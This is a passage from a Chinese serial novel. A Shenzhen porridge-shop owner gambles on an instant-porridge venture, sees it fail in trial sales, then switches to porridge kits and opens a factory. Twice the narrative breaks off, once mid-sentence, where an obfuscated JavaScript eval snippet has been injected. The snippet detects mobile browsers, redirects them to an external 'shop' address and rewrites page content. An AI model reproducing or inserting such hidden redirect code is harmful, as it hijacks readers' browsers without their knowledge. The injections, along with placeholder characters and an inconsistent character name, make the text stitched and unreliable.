中午，李文杰来了。他穿着灰色呢子大衣，围巾围得严实，鼻尖冻得发红。 “陈老板，新年好。” “李经理新年好。” 两人进了小办公室。李文杰从公文包里拿出一份文件：“速食粥项目的初步方案，郑先生让我拿给你看看。” 陈永福接过文件，厚厚一沓，第一页写着“家香速食粥项目可行性研究报告”。他翻了几页，很多专业术语看不懂，但大致意思明白：投资二十万，建生产线，先生产三个口味：白粥、皮蛋粥、海鲜粥。目标市场是深圳和广州的超市、便利店。 “二十万？”陈永福抬起头。 “第一期投资。”李文杰说，“郑先生出十五万，何老板出三万，我们出两万。” “我们出两万？” “品牌和技术入股，折算两万。”李文杰解释，“郑先生说已经很优惠了。” 陈永福沉默了。两万块，他拿得出来，但这是周转资金。三家店一个月光进货就要一万多，两万块不算多，但也不能随便动。 “让我想想。” “陈老板，机会难得。”李文杰劝道，“现在深圳速食市场刚起步，方便面卖得火，速食粥还是空白。我们占先机，就能占市场。” “我知道。”陈永福说，“但两万块不是小数，我得跟家里商量。” “应该的。” 李文杰走了。陈永福继续看那份报告。后面有市场分析、成本核算、利润预测，写得密密麻麻。预计第一年销售额能达到五十万，利润率百分之二十。如果真能做到，两万投资一年就能回本。 但报告是报告，现实是现实。陈永福做实体店出身，知道生意没那么好做。粥要现熬才好喝，袋装的，能一样吗？ 晚上回家，他跟林玉兰商量。林玉兰正在给晓梅换尿布，听了半天，才说：“阿福，我不懂这些大事。但咱们的钱，是粥铺一碗一碗挣出来的，要慎重。” “我知道。” “两万块，能买多少米？能付多少人工？”林玉兰说，“要是赔了，店怎么办？” 这话说到陈永福心坎上。他怕的就是这个。店是根本，不能动。 “郑先生和何老板都看好，应该不会差吧。” “他们是香港老板，钱多，赔得起。”林玉兰看他一眼，“咱们赔不起。” 陈永福不说话了。妻子说得对，他们赔不起。 夜里，他翻来覆去睡不着。两万块，像块石头压在心上。投，怕赔。不投，怕错过机会。 第二天，他去找何老板。何老板在烧腊档后面喝茶，看见他来，招招手。 “陈老板，为速食粥的事吧？” “是。何老板，你真看好？” “看好。”何老板给他倒茶，“陈老板，我跟你不一样。我在香港长大，见得多。香港人生活节奏快，速食产品卖得好。深圳现在越来越像香港，早晚也要走这条路。” “但粥……” “粥是麻烦，但技术能解决。”何老板说，“现在有真空包装，有冻干技术，能保持味道。关键是你这个牌子，人家认。” “牌子值两万？” “值不值，看将来。”何老板放下茶杯，“陈老板，我多说一句。你现在的三家店，做得再好，也就是三家店。天花板在那儿。速食产品不一样，做好了能卖到全国。” 全国。这个词让陈永福心跳了一下。他从没想过那么远。 “可我听说，做食品厂很复杂，要批文，要检验……” “这些郑先生会搞定。”何老板说，“他在香港有关系，深圳这边也能疏通。我们只管出钱出技术，具体操作他来。” 陈永福还是有些犹豫。何老板拍拍他的肩：“这样，你出两万，我也再加一万。赔了，咱们一起扛。赚了，一起分。” 话说到这份上，陈永福再推辞，就显得小气了。 “行，我投。” “爽快！”何老板笑了，“明天我约郑先生，咱们签合同。” 签合同是在郑文达深圳的办事处，在国贸大厦里。陈永福第一次进这么高的楼，电梯上升时耳朵嗡嗡响。透过玻璃窗看出去，整个罗湖尽收眼底。高楼，马路，车流，像沙盘模型。 郑文达的办公室很大，铺着地毯，墙上挂着一幅字：“鹏程万里”。办公桌是红木的，能照出人影。 “陈老板，欢迎。”郑文达起身跟他握手。 合同已经准备好了，一式三份。陈永福仔细看了条款，确认没问题，签了字。签完字，他开出一张两万块的支票——刚去银行办的，第一次用。 郑文达收起支票：“陈老板放心，我会尽快启动项目。工厂选址在宝安，那边地便宜，政策也优惠。” “郑先生多费心。” “应该的。” 从国贸大厦出来，陈永福站在楼下，仰头看这栋楼。五十三层，高耸入云。听说还在盖二期，要盖到六十八层。深圳速度，真不是吹的。 他想起两年前，在老街的老榕树下，他的粥铺刚开张。十平米，一口锅，几张桌子。现在，他站在深圳最高的楼下，签了二十万的合同。 变化太快，快得让人心慌。 回到店里，王建军迎上来：“老板，南山店出事了。” “什么事？” “工商局来检查，说卫生不合格，要罚款。” 陈永福头大了：“罚多少？” “两百。” “为什么不合格？” “说垃圾桶没盖，生熟食没分开，还有……还有员工健康证过期。” 这些都是李文杰反复强调过的问题。陈永福立刻给南山店打电话，是小玲接的。 “小玲，怎么回事？” “老板，对不起。”小玲声音带着哭腔，“刘师傅嫌麻烦，垃圾桶盖子老是不盖。生熟食他说分不开，地方小。健康证……健康证是我忘了去办。” “刘师傅呢？” “在店里，跟工商局的人吵呢。” “让他接电话！” 过了一会儿，刘师傅的声音传来：“老板，这些人就是找茬……” “闭嘴！”陈永福难得发火，“让你怎么做你就怎么做，为什么不听？” “我……” “现在立刻道歉，配合检查。该罚的认罚，该改的马上改。” “老板，两百块呢……” “两千块也得认！”陈永福挂了电话。 他坐车去南山。一路上，心里窝火。明明有规定，为什么不执行？明明能避免，为什么非要出事？ 到店里，工商局的人还在。两个穿制服的工作人员，一个在记笔录，一个在拍照。刘师傅站在一边，脸色铁青。小玲低着头，眼睛红红的。 陈永福走过去：“同志，对不起，是我们管理不到位。” 工作人员看看他：“你是老板？” “是。我们一定整改，马上整改。” “光整改不够，要罚款。”工作人员说，“这次是警告，下次再犯，要停业整顿。” “是是是，我们一定注意。” 交了罚款，送走工商局的人。陈永福把刘师傅和小玲叫到后厨。 “说吧，怎么回事。” 刘师傅先开口：“老板，真不是大事。垃圾桶盖子，我嫌麻烦，开开关关的。生熟食，地方这么小，怎么分？健康证，小玲忘了办，也不是故意的。” “不是故意？”陈永福看着他，“刘师傅，你手艺好，我知道。但卫生不是小事，吃出问题，店就完了。这个道理你不懂？” “懂是懂……” “懂为什么不做？”陈永福转向小玲，“你是店长，有责任监督。刘师傅不听，你为什么不汇报？” “我……”小玲眼泪掉下来，“我怕刘师傅生气，怕影响和气。” “和气重要还是安全重要？”陈永福声音严厉，“今天罚两百，是小事。万一吃出问题，罚两千、两万都不够，还要坐牢。你担得起吗？” 小玲不敢说话。 “从今天起，南山店停业三天，整顿。”陈永福说，“刘师傅，卫生标准背一遍，背不出来，别上班了。小玲，健康证马上办，员工的、你自己的，都要有。垃圾桶买带盖的，生熟食必须分开，地方小就想办法。” “知道了，老板。” “不是知道了，是必须做到。”陈永福看着他们，“再出问题，你们俩都别干了。” 说完，他转身走了。心里憋着火，又憋着疼。刘师傅是老员工，小玲是他提拔的，都不容易。但他不能心软，心软害人害己。 回到罗湖店，李文杰在等他。 “陈老板，南山店的事我听说了。”李文杰说，“处理得对，必须严厉。” “李经理，这些规矩，我反复说过，为什么就是不听？” “因为习惯。”李文杰说，“中国人做事，讲人情，讲变通。但食品安全，不能讲人情，不能变通。要让他们养成习惯，需要时间，也需要代价。” “代价太大了。” “不大不长记性。”李文杰说，“陈老板，我建议搞个突击检查。三家店轮流查，不合格的重罚。罚几次，就记住了。” “行，你安排。” 李文杰走了。陈永福坐在办公室里，觉得累。管人比管店累，心累。 手机响了，是黄秀英。 “老板，东莞第二家店明天开业，你来吗？” “南山店出事了，我走不开。”陈永福把情况说了。 黄秀英听完，沉默了一会儿：“老板，我这边也遇到过类似问题。工人多，卫生难搞。后来我定了规矩：每天检查，每周评比。卫生好的有奖金，差的有惩罚。慢慢就习惯了。” “你这方法好。” “我也是跟李经理学的。”黄秀英说，“老板，别太生气。管理就是这样，总有波折。” “我知道。”陈永福叹口气，“秀英，你那边顺利吗？” “顺利。第二家店位置好，工人多。我按深圳的模式，又加了本地口味，应该没问题。” “那就好。” 挂了电话，陈永福想，黄秀英确实成长了。遇事有办法，不慌。也许真该放手让她闯。 南山店停业三天，损失不小。但陈永福觉得值。至少让员工知道，规矩不是儿戏。 三天后，南山店重新开业。刘师傅见了陈永福，有点讪讪的：“老板，我错了。” “知道错就好。”陈永福说，“刘师傅，你是我请的老师傅，要带好头。你带头不守规矩，下面的人怎么服？” “我知道了，以后一定注意。” “不光注意，要做到。”陈永福拍拍他的肩，“店里生意好，你奖金也多。这是为你自己。” “哎。” 小玲的健康证办好了，员工的也齐了。新买了带盖的垃圾桶，生熟食分了区。店里看着整洁多了。 陈永福检查了一遍，点点头：“保持住。” “一定。” 回到罗湖店，王建军说：“老板，培训班通知下来了，三月一号开学。” “好事，好好学。” “可是……三个月，晚上上课，店里怎么办？” “店里我安排。”陈永福说，“你安心学，学成了帮我大忙。” “谢谢老板。” 王建军去培训班，罗湖店得有人管。陈永福想提拔小周，但小周太年轻，才二十岁。他找来李文杰商量。 “小周可以，但要有人带。”李文杰说，“我建议让黄秀英抽空回来，带他一个月。或者，陈老板你亲自带。” “秀英在东莞忙，回不来。”陈永福说，“我自己带吧。” “您亲自带最好。”李文杰说，“不过陈老板，您不能永远亲力亲为。得培养接班人。” “我知道。”陈永福说，“慢慢来。” 二月下旬，天气暖和了些。深圳的人慢慢回满了，街上又热闹起来。店里生意恢复了，每天能卖三百多碗。 速食粥项目也有了进展。郑文达打电话来，说工厂地址选好了，在宝安西乡，租了个旧厂房，正在改造。设备从香港进口，一个月后能到。 “陈老板，配方的事，你得抓紧。”郑文达说，“我们要试生产，调口味。” “好，我准备。” 陈永福开始琢磨速食粥的配方。白粥好办，米和水，比例调好就行。皮蛋粥和海鲜粥麻烦，皮蛋的腥味，海鲜的腥味，怎么去？怎么保持鲜味？ 他买了几包香港产的速食粥，拆开研究。都是粉状的，开水一冲，成糊状。味道一般，有股添加剂的味道。 他想做不一样的。要能看见米粒，能看见料，像现熬的。但这技术难，保鲜也难。 他去找何老板。何老板认识个食品工程师，是香港人，姓陈，六十多了，退休后被返聘到深圳一家食品厂当顾问。 “陈工，这是我朋友，陈永福，做粥铺的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380749|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何老板介绍。 陈工戴老花镜，头发花白，说话慢条斯理：“陈老板想做速食粥？” “是，但不想做粉状的，想做能看见米粒的。” “难。”陈工摇头，“米粒要复原，技术复杂。而且保质期短，成本高。” “那……那怎么办？” “我建议做半成品。”陈工说，“米预处理，脱水，但不完全成粉。加料包，分开包装。吃的时候一起煮，十分钟就好。比现熬快，比速食粥像样。” 陈永福眼睛亮了：“这个好。” “但设备贵。”陈工说，“要真空包装机，要脱水设备。投资大。” “大概多少？” “全套下来，少说十万。” 陈永福心里一沉。郑文达的二十万预算，设备就要十万，再加上厂房、人工、原料，紧巴巴的。 “陈工，能便宜点吗？” “我帮你问问，看有没有二手的。”陈工说，“深圳现在工厂多，有倒闭的，设备处理。” “麻烦陈工了。” 从陈工那儿出来，何老板说：“陈老板，别急，慢慢来。先试做一批，看看市场反应。” “嗯。” 回到店里，陈永福开始试做半成品粥。米先泡，再蒸，再烘干。皮蛋切碎，真空包装。虾仁、蟹肉，也处理好分开装。 试了几次，味道还行，但米粒干了之后，再煮，口感有点硬。不像现熬的绵软。 他打电话给黄秀英，让她在东莞也试试。黄秀英试了，说：“老板，我觉得可以加点淀粉，让粥稠一点。米粒硬，但稠了就不明显了。” “加多少？” “一点点，不能多，多了腻。” 陈永福试了，果然好点。但还是不满意。他觉得，速食粥再怎么做，也不如现熬的。这是根本矛盾。 三月初，王建军的培训班开学了。上课地点在深圳大学夜校部，每周一三五晚上，七点到九点半。王建军下班后坐公交车去，下课再坐车回家，到家都十一点了。 陈永福让他打车，公司报销。王建军不肯：“老板，打车贵，我能省就省。” “省那点钱干嘛？安全重要。” “没事，我年轻，扛得住。” 陈永福没再坚持。他知道，王建军是替他省钱。这样的员工，难得。 培训班教的内容，王建军回来跟陈永福讲。什么SWOT分析，什么4P营销，什么绩效考核。陈永福听得半懂不懂，但觉得有用。 “老师说，管理要制度化，不能人治。”王建军说，“咱们店现在就是人治，老板你说啥就是啥。老师说，要建流程，建标准，谁来了都能按流程做。” “那得花时间。”陈永福说。 “花时间是值得的。”王建军认真地说，“老板，等我学完了，帮店里建制度。” “好。” 三月中旬，倒春寒彻底过去了。深圳进入雨季，三天两头下雨。湿漉漉的，衣服晾不干。 林玉兰的产假休完了，但没回店里。陈永福让她在家照顾晓梅，店里的事不用操心。林玉兰答应了，但闲不住，在家研究新菜式，想给粥铺加些小菜。 “光喝粥单调，配点小菜，客人喜欢。”她说。 “你看着弄，别累着。” 林玉英做了几样：酸豆角、凉拌海带丝、酱黄瓜。拿到店里试卖，一毛钱一小碟，卖得不错。工人喜欢，便宜，下饭。 陈永福想，妻子虽然不在店里，但心还在。这个家，这个生意，是两个人撑起来的。 三月下旬，东莞传来消息：黄秀英的第二家店开业半个月，生意不错，每天能卖两百多碗。她还想在东莞开第三家，问陈永福意见。 陈永福回电话：“秀英，稳一稳。两家店够你忙了，先把这两家做好。” “老板，机会不等人。”黄秀英说，“东莞现在发展快，工厂一个个建，工人越来越多。咱们不占，别人就占了。” “那也不能太急。”陈永福说，“管理跟不上，店开再多也没用。你先培养人，等有人能管店了，再开。” “好吧。”黄秀英不太情愿，但答应了。 挂了电话，陈永福想，黄秀英比他敢闯。这是好事，也是隐患。闯得好，一片天。闯不好，摔得重。他得拉着点，不能让她太飘。 月底盘点，三家店三月份的营业额出来了。罗湖五千八，南山四千二，福田四千八。总利润两千五。比二月好，但增长慢了。 李文杰说：“瓶颈期到了。单靠门店，增长有限。得开拓新业务。” 新业务就是速食粥。但陈永福心里还是没底。 四月初，陈工那边传来好消息：找到一套二手设备，八成新，只要六万。郑文达去看过了，说能用。 “陈老板，设备解决了，咱们可以加快进度。”郑文达在电话里说，“五一前试生产，怎么样？” “行。” 陈永福开始全力以赴研究配方。他把自己关在厨房里，一锅一锅地试。米怎么处理，料怎么配，包装怎么设计。林玉兰帮他试吃，□□也当小评委。 “阿爸，这个太咸。” “这个米好硬。” “这个有怪味。” 试了二十几次，终于做出一个还算满意的版本。米粒能复原七八成，味道有现熬的六七成。成本算下来，一包白粥成本一毛，卖两毛。皮蛋粥成本一毛五，卖三毛。海鲜粥成本两毛，卖四毛。 利润空间有，但不大。要看销量。 四月中旬，样品做出来了。郑文达拿去给超市试销，选了十家小超市，每家放二十包，看反应。 一个星期后，结果出来了：卖了八十包，退回一百二十包。退货理由大多是“味道不如现熬的”“太贵”“包装不好看”。 陈永福看着退货报告，心里凉了半截。 郑文达却不太在意：“第一次试销，正常。改进包装，调整口味，再试。” “郑先生，还要投钱？” “做生意哪有不投钱的？”郑文达说，“陈老板，别灰心。失败是成功之母。” 话是这么说，但钱是实打实的。设备六万，原料、人工、包装，又花了两万。八万块投进去了，就换来八十包的销量。 陈永福心疼，但没说出来。已经上了船，下不来了。 四月底，深圳突然热起来。夏天来得早，才四月就三十度。商场里冷气开得足，但粥铺灶台前还是热。 陈永福站在灶台前熬粥，汗顺着脖子往下流。他想，也许他就不该搞什么速食粥。老老实实熬粥，开分店，虽然慢，但稳。 可深圳不让人慢。这座城市像一列快车，你不上车，就被甩下。上了车，就得跟着跑，停不下来。 他擦擦汗，继续搅锅里的粥。 粥还是那个粥，米还是那个米，水还是那个水。但熬粥的人，心事重了。 16. 粥料包 速食粥退货的那天下午，深圳下了场急雨。前一秒还是大太阳，后一秒天就黑了，接着豆大的雨点砸下来，噼里啪啦打在商场玻璃顶上。陈永福站在罗湖店门口，看着外面白茫茫的雨幕，手里捏着那份退货报告，纸张被手心的汗浸得发软。 八万块。八十包。这两个数字在脑子里打转，像两把锤子，敲得他太阳穴突突跳。 王建军从后面走过来，小心翼翼地问：“老板，吃饭吗？吴阿姨送饭来了。” “放那儿吧。” “老板，您别太……” “我没事。”陈永福打断他，转身回了办公室。 办公室里堆着速食粥的样品，一箱一箱的，拆开的、没拆开的，散在墙角。陈永福拿起一包白粥，撕开，倒进碗里，冲开水。米粉遇水结块，搅拌后成糊状，稀稀拉拉的，闻着有股添加剂的味道。 他尝了一口，皱眉。确实不行，跟店里熬的差远了。 门被推开，李文杰进来了，手里也拿着包样品。 “陈老板，我尝过了。”李文杰把样品放在桌上，“问题主要在口感。粉状的，没有米粒感。还有就是味道，添加剂太重。” “我知道。”陈永福把碗推开，“李经理，你说，这事还能做吗？” “能。”李文杰肯定地说，“但要调整方向。” “怎么调？” “不做速食粥，做粥料包。”李文杰说，“米还是生的，预处理过，配上料包。客人买回去，自己煮，十分钟就好。这样既有便利性，又有现煮的口感。” 陈永福想了想：“这不就是陈工说的半成品？” “对，但更简化。”李文杰拿起笔，在纸上画，“我们提供三种料包：白粥料包，就是预处理好的米。皮蛋粥料包，米加皮蛋粒。海鲜粥料包，米加虾仁蟹肉。包装上印煮法，简单易懂。” “成本呢？” “比速食粥低。不用那么复杂的设备，普通真空包装机就行。原料就是米和配料，我们本来就要采购。” 陈永福心动了。这个方向似乎更可行。 “那之前的设备……” “设备可以用。”李文杰说，“烘干机处理米，真空机包装。只是工艺调整。” “试试？” “试试。” 陈永福立刻给陈工打电话。陈工听完，说：“这个思路对。预处理米不难，关键是米的品种和预处理工艺。要选适合快煮的米，不能太硬，也不能太烂。” “陈工，您能帮忙吗？” “可以。我有时间，过去看看。” 第二天，陈工来了。六十多岁的老人，精神矍铄，提个小工具箱。他看了设备，又看了米，点点头：“设备能用。米要换，现在的米太黏，快煮不好吃。我推荐一种东北米，价格贵点，但适合。” “贵多少？” “一斤贵一毛。” 陈永福算账。一包粥用二两米，成本多两分。能接受。 “那就换。” “还有工艺。”陈工说，“米不能烘得太干，要保持一定水分。真空包装时加脱氧剂，延长保质期。” 陈永福一一记下。专业的事，得听专业的人。 接下来的一个星期，陈永福和陈工一起试验。每天泡米、蒸米、烘干、包装，再煮了尝。试了十几种米，调整了十几次工艺参数。 林玉英也帮忙，带着晓梅来工厂——其实不算工厂，就是租的厂房一角。晓梅在婴儿车里睡觉，林玉兰帮着记录数据，试吃口味。 “这个太硬。” “这个黏了。” “这个有生米味。” 试到第八天，终于做出满意的样品。米粒完整，颜色自然，煮十分钟就开花，口感接近现熬的。配料包也调好了，皮蛋的腥味去了，海鲜的鲜味留着。 陈永福煮了一锅，给郑文达送去。郑文达尝了，点头：“这个好，有米香。” “郑先生觉得能卖吗？” “能。”郑文达说，“但包装要改。现在的塑料袋太普通，要设计得好看，印上‘家香’的logo，印上煮法图解。” “包装得花钱。” “该花的要花。”郑文达说，“我认识个设计公司，香港的，价格公道。我来安排。” “行。” 包装设计的事交给郑文达，陈永福继续改进工艺。他租了间小仓库，买了台二手真空包装机，雇了两个工人，开始小批量生产。 工人是王建军介绍的，都是他老乡，老实肯干。陈永福亲自培训，怎么泡米，怎么蒸，怎么烘干，怎么包装。每一步都要记录，温度、时间、湿度，不能差。 生产了五百包，先给三家店试销。放在收银台旁边，一包卖三毛——白粥料包成本一毛二，卖三毛；皮蛋粥料包成本一毛八，卖五毛；海鲜粥料包成本两毛五，卖七毛。 第一天，卖了二十包。第二天，三十包。第三天，五十包。有客人回头来买，说方便，味道也好。 陈永福心里踏实了点。 四月底，包装设计好了。红色的袋子，印着“家香粥料”四个白色大字，下面是煮法图解：1.拆开料包；2.加水煮沸；3.小火煮十分钟；4.享用。简单明了。 郑文达拿去给超市谈，这次不是试销，是正式铺货。谈下来十家超市，每家先铺一百包，卖完补货。 “陈老板，这次要备足货。”郑文达说，“五一假期，超市人多，是机会。” “好。” 陈永福让工人加班生产。两个工人不够，又招了两个。厂房里二十四小时有人，泡米、蒸米、烘干、包装，流水线作业。 林玉兰不放心，带着晓梅来看。厂房里热气腾腾，米香弥漫。陈永福穿着工装，跟工人一起干活，衣服湿透了贴在背上。 “阿福，你歇会儿。”林玉兰递水给他。 “没事，不累。”陈永福接过水，一口气喝完，“玉兰，你看，咱们有生产线了。” 林玉兰看着那些忙碌的工人，那些成堆的米袋，那些包装好的料包，心里感慨。两年多前，他们还在老街的老榕树下，用一口锅熬粥。现在，居然有生产线了。 “阿福，咱们是不是走得太快了？” “不快不行。”陈永福说，“深圳就是这样，不快就被甩下。” 林玉兰点点头，没再说话。她抱着晓梅，在厂房里转了转。晓梅睁着大眼睛，好奇地看着那些机器，那些米，那些忙碌的人。 “晓梅，这是你阿爸的工厂。”林玉兰轻声说。 孩子听不懂，但笑了。 五一假期，超市人确实多。家香粥料摆在粮油区，红色的包装显眼。三天假期，十家超市卖了八百包。补货电话打来，要加货。 陈永福既高兴又紧张。高兴的是卖得好，紧张的是怕供不上。工人加班加点，他也跟着干，每天只睡四五个小时。 五月三号，东莞黄秀英打电话来，语气兴奋：“老板，粥料包我这边也试卖了，卖得好！工人买回去，在宿舍煮，方便。你能不能给我供货？” “你要多少？” “先要五百包，三种口味各要一些。” “行，我安排。” 挂了电话，陈永福想，黄秀英真是会抓机会。东莞工人多，宿舍条件有限，粥料包确实适合。 他立刻安排发货。王建军负责联系运输，找辆小货车，第二天就送到东莞。 五月五号，假期结束。盘点下来，五一期间粥料包卖了三千包，收入九百多块，利润四百多。虽然不算多，但开了个好头。 郑文达很满意：“陈老板，我说过，方向对了就能成。” “是郑先生指点得好。” “互相成就。”郑文达说，“接下来，我们要扩大规模。宝安那边我看了个厂房，大，能上生产线。要不要去看看？” “去。” 宝安的厂房在郊区，原来是家玩具厂，倒闭了，厂房空着。面积有两千平米，比现在的大十倍。租金一个月两千，不便宜。 “这里可以做标准化生产线。”郑文达指着空旷的厂房，“这边原料区，这边预处理区，这边包装区，这边仓库。规划好了，一天能产一万包。” 一万包。陈永福被这个数字吓了一跳。 “能卖那么多吗？” “能。”郑文达说，“深圳现在人口两百万，还在增长。速食市场刚起步，空间大。我们占了先机，就要做大。” 陈永福看着这空荡荡的厂房，想象着机器轰鸣、工人忙碌的场景。一天一万包，一包赚一毛，一天就是一千块利润。一个月三万。 这个数字让他心跳加速。 “设备呢？” “设备我订新的，从日本进口，自动化程度高。”郑文达说，“投资大概五十万。我出三十万，你出二十万。” 二十万。陈永福手心里冒汗。他所有存款加起来，也就十五万。还差五万。 “郑先生，我……” “钱不够可以贷款。”郑文达说，“现在政策鼓励，个体户能贷。我可以帮你联系银行。” 陈永福犹豫了。二十万，不是小数。万一赔了，怎么办？ “陈老板，机会不等人。”郑文达看着他，“你想想，两年前，你敢想你有今天吗？两年后，你可能就是深圳速食粥行业的龙头。” 龙头。这个词像火，点燃了陈永福心里的那团东西。 “我回去想想。” “尽快给我答复。” 从宝安回市区的路上，陈永福一直没说话。王建军开车——新买的面包车，二手的，花了八千。车里放着粥料包的样品，红色的袋子，在座位上晃来晃去。 “老板，真要投二十万？”王建军问。 “不知道。”陈永福看着窗外，“建军，你说呢？” “我……我不懂这些大事。”王建军老实说，“但我信老板。老板做的事，都有道理。” 陈永福苦笑。他自己都没底，别人怎么信？ 回到家，林玉兰在做饭。晓梅在学步车里，摇摇晃晃地走。□□在做作业，看见他回来，叫了声“阿爸”。 “回来了？”林玉兰从厨房探出头，“饭马上好。” “嗯。” 吃饭时，陈永福把郑文达的提议说了。林玉兰听完，放下筷子。 “二十万？咱们哪有那么多钱？” “存款十五万，还差五万。郑先生说可以贷款。” “贷款？”林玉兰声音高了，“阿福，咱们刚还清老街的贷款，又要贷？” “这次不一样，是扩大生产。” “生产什么？那些料包？”林玉兰指着墙角堆的样品，“阿福，我知道你想做大，可咱们是熬粥的，不是开工厂的。那些机器，那些设备，咱们懂吗？” “不懂可以学。” “学？你多大年纪了？还学？”林玉兰眼圈红了，“阿福，咱们现在这样不好吗？三家店，生意稳当。料包也能卖，慢慢做。为什么要冒那么大险？” 陈永福说不出话。他知道妻子说得对，但他心里那团火，烧得他坐不住。 “玉兰，我……” “你想想建国，想想晓梅。”林玉兰抹了抹眼睛，“万一赔了，孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380750|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们怎么办？咱们回老家都没脸。” 这话刺痛了陈永福。他看看□□，孩子低着头吃饭，不敢说话。晓梅在学步车里，咿咿呀呀地叫。 “让我再想想。” 夜里，陈永福睡不着。他起来，走到阳台。深圳的夜，依然灯火通明。远处工地的塔吊亮着灯，像巨人俯瞰这座城市。 他想起了老街的老榕树。那棵树几十年了，稳稳地立在那儿，看人来人往，看时代变迁。树不急，慢慢长。可人不行，人要快，要赶，要追。 手机响了，是黄秀英。 “老板，睡了吗？” “没。” “料包到了，工人都说好。这边超市也想进货，问我能不能长期供。” “能，要多少？” “一个月先要两千包。”黄秀英说，“老板，这边市场大，我觉得能做起来。” “秀英，你说，我该不该投钱开大工厂？” 电话那头沉默了一会儿。 “老板，我说实话，该。”黄秀英说，“我在东莞看到，深圳来的东西都好卖。家香这个牌子，在工人里有口碑。要是能做大了，不光是深圳、东莞，整个广东都能卖。” “可风险大。” “做什么没风险？”黄秀英说，“老板，当年你来深圳，不也是冒风险吗？要不是冒险，哪有今天？” 这话让陈永福心里一震。是啊，当年他来深圳，兜里只有几十块钱，不也闯出来了？现在有了基础，反而怕了？ “秀英，你胆子比我大。” “不是胆子大，是看准了。”黄秀英说，“老板，我信你。你做的决定，我都跟。” 挂了电话，陈永福站在阳台上，很久没动。 风从海上吹来，带着咸味。远处传来轮船的汽笛声，呜——长长的，沉沉的。 他想起郑文达说的“龙头”。想起一天一万包的场景。想起家香的牌子，挂满广东的超市。 心里那团火，烧得更旺了。 第二天，他给郑文达打电话。 “郑先生，我投。二十万，我想办法凑齐。” “好！”郑文达很高兴，“陈老板有魄力。你放心，我们一起做，一定能成。” 钱的事，陈永福想了三个办法：存款十五万全拿出来；找何老板借三万——何老板爽快答应了，说算投资，不要利息；剩下的两万，找银行贷款。 贷款手续比想象中顺利。银行信贷员看了粥铺的流水，看了粥料包的销售数据，很快批了。两万块，一年期，利率百分之八。 钱凑齐了，合同签了。新工厂开始装修，设备从日本运来，要两个月。 这两个月，陈永福忙得脚不沾地。要盯着现在的生产，要学新设备操作，要培训工人，要跑市场。瘦了一圈，但精神头足。 林玉兰看他这样，没再反对，只是默默支持。每天炖汤，给他补身体。晚上等他回家，不管多晚，都留一盏灯。 六月底，新工厂设备安装好了。全自动生产线，从泡米到包装，一条龙。工人只要看着机器，按按钮就行。 试生产那天，陈永福站在生产线前，看着米从这边进去，那边出来就是包装好的料包。一分钟六十包，一小时三千六百包。 机器轰鸣，米香弥漫。他眼睛有点湿。 两年多前，他站在老街的老榕树下，用一口锅熬粥。现在，他站在自动化生产线前，看着机器替他工作。 时代真快，他也跟上了。 第一批产品下线，他拿了几包回家。煮了一锅，叫林玉兰和孩子们尝。 “阿爸，跟店里的一样！”□□说。 “嗯，一样。”陈永福摸摸他的头。 林玉兰尝了一口，点点头：“是好。” “玉兰，谢谢你。”陈永福轻声说。 “谢我什么？” “谢谢你不拦我。” 林玉兰看着他，眼圈红了：“拦也拦不住。你这个人，认准的事，十头牛都拉不回。” “以后不会了。”陈永福握住她的手，“等工厂稳了，我就轻松了。多陪你和孩子们。” “你保证？” “保证。” 保证能不能做到，陈永福不知道。但他知道，这一步他走对了。 新工厂正式投产，日产量一万包。郑文达拿下了深圳五十家超市的供货合同，东莞那边黄秀英也谈下了三十家。一个月销量达到二十万包。 算账下来，一包平均利润一毛，一个月利润两万。扣除成本、人工、租金，净赚一万五。 这个数字，让陈永福悬着的心终于落了地。 七月，深圳最热的时候。新工厂的空调还没装好，车间里像蒸笼。陈永福和工人一起干活，汗如雨下。 但心里是凉的，是踏实的。 他站在车间门口，看着那些忙碌的工人，那些轰鸣的机器，那些成箱的产品。红色包装，印着“家香粥料”，在灯光下泛着光。 这是他陈永福的工厂，是他的粥，是他的深圳。 远处，又有新的工地开工，打桩机的声音咚，咚，咚，像这座城市的心跳，有力，执着。 他知道，他的心跳，也跟上了这个节奏。 不，不是跟上，是融进去了。 他就是深圳，深圳就是他。 汗水滴在地上，很快蒸发了。但印记留了下来，像这座城市的每一个脚印，深深浅浅，都是来过的证明。 陈永福擦了把汗，继续干活。 明天还要早起，还要熬粥，还要看店，还要管工厂。 但今晚，他想好好睡一觉。 17. 粥香 七月流火，这话用在深圳的七月，再贴切不过。 新工厂的空调终于装上了，但车间太大，冷气打到中间就弱了。生产线边上还是热，机器的热气、米蒸腾的热气、包装机的热气，混在一起，像澡堂子。工人们穿着浅蓝色的工服，后背都湿透了，贴在线条上。 陈永福站在生产线末端，看着一包包粥料从传送带上滑下来，掉进纸箱里。机械手自动封箱，打上生产日期，叉车运走。整个过程不用人碰，干净，利落。 可他还是不放心。每天第一批产品出来，他都要拆一包，亲自煮了尝。味道要对，口感要对，颜色要对。差一点都不行。 “陈老板，您太仔细了。”生产经理小孙说。小孙是郑文达从香港请来的，三十岁，戴眼镜，做事一板一眼。“机器设定好了，就不会错。” “机器是机器，米是米。”陈永福说，“今天的米和昨天的米，可能不一样。” “我们每批米都检测含水量，调整参数。” “参数是死的，舌头是活的。” 